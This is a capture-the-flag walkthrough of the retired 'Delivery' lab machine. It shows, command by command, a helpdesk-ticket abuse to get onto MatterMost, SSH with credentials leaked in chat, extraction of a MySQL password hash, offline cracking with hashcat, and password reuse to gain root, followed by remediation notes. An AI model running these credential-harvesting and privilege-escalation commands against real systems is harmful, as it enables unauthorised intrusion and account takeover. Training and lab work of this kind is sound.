Delivery
Summary
I exploited the public helpdesk portal to obtain an internal @delivery.htb email address at no cost, then used that address to bypass MatterMost's domain-restricted registration and read internal staff chat. A message in that chat disclosed plaintext SSH credentials, giving shell access to the server.
From there I read the MatterMost database configuration file, extracted a bcrypt-hashed administrator password from MySQL, and cracked it offline using a rule-based hashcat attack seeded with a password hint left in the same chat channel. The cracked password was also set as the root account password, granting full operating-system control.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD1="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD5="<the-password-you-recovered>"
export PASSWORD6="<the-password-you-recovered>"
export PASSWORD7="<the-password-you-recovered>"
export PASSWORD8="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
Identify open ports and service banners.
$ nmap -sV -p 22,80,8065 --open -T4 $TARGETConfirm landing page references to internal services.
$ curl -sS http://$TARGET/ | grep -i 'mattermost\|helpdesk\|team'Verify MatterMost API is reachable.
$ curl -sS http://$TARGET:8065/api/v4/system/pingExact commands 2
Retrieve the current CSRF token from the form.
$ curl -sS http://helpdesk.delivery.htb/open.php | grep -i 'csrftoken\|__csrf'Submit ticket; the response shows the assigned ticket number and @delivery.htb inbox address.
$ curl -sS -X POST http://helpdesk.delivery.htb/open.php -d "__CSRFToken__=<CSRF>&name=Test+User&email=$USERNAME@example.com&subject=Help&message=test&topicId=1" -L | grep -i '@delivery.htb\|ticket'FixRequire verified identity before issuing an internal-domain ticket inboxHigh
Exact commands 2
Replace 3827049 with the ticket ID obtained in the previous step.
$ # Visit http://$TARGET:8065/signup_email and register with 3827049@delivery.htbPoll the ticket view for the MatterMost verification link sent to the ticket inbox.
$ curl -sS 'http://helpdesk.delivery.htb/tickets.php?id=3827049' | grep -i 'verify\|confirm\|mattermost\|http'FixDisable MatterMost self-registration or switch to invite-only accessHigh
Exact commands 1
The plaintext credential maildeliverer's password is visible in the channel message history.
$ # Log in to http://$TARGET:8065 and browse the internal team channelFixRemove plaintext credentials from internal chat channels and rotate them immediatelyCritical
Exact commands 1
Authenticate and confirm shell; user.txt contains <user.txt>.
$ sshpass -p "$PASSWORD8" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 maildeliverer@$TARGET 'id; hostname; find / -name user.txt 2>/dev/null -print -quit | xargs -r cat'Exact commands 2
Extract the MySQL DSN, including username, password, and database name.
$ cat /opt/mattermost/config/config.json | python3 -c "import sys,json; c=json.load(sys.stdin); print(c['SqlSettings']['DataSource'])"Replace the password with the one found in config.json; retrieves the admin bcrypt hash.
$ mysql -u mmuser -p'<DB_PASSWORD_FROM_CONFIG>' mattermost -e "SELECT Username,Password FROM Users WHERE Roles LIKE '%system_admin%';"FixRestrict read access to application configuration files that contain credentialsHigh
Exact commands 3
Save the extracted bcrypt hash (full $2a$10$... String) to a file.
$ echo '$2a$10$<PASTE_ADMIN_BCRYPT_HASH_HERE>' > hash.txtSeed the wordlist with the base word disclosed in MatterMost chat.
$ echo "$PASSWORD7" > base.txtRule-based bcrypt crack; recovers the mutation used as the admin password.
$ hashcat -m 3200 hash.txt base.txt -r /usr/share/hashcat/rules/best64.rule --forceFixEnforce strong, unique passwords and never disclose password patterns to usersHigh
Exact commands 1
Verbatim loop; iterates cracked mutations until root shell is obtained. Root.txt contains <root.txt>.
$ for pw in "$PASSWORD7" "$PASSWORD3" "$PASSWORD" "$PASSWORD1" "$PASSWORD2" "$PASSWORD5" "$PASSWORD6"; do echo TRY:$pw; sshpass -p "$PASSWORD8" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null maildeliverer@$TARGET "printf '%s\n' '$pw' | su - root -c 'id; cat /root/root.txt'" 2>/dev/null && break; doneFixNever reuse application passwords for privileged OS accountsCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.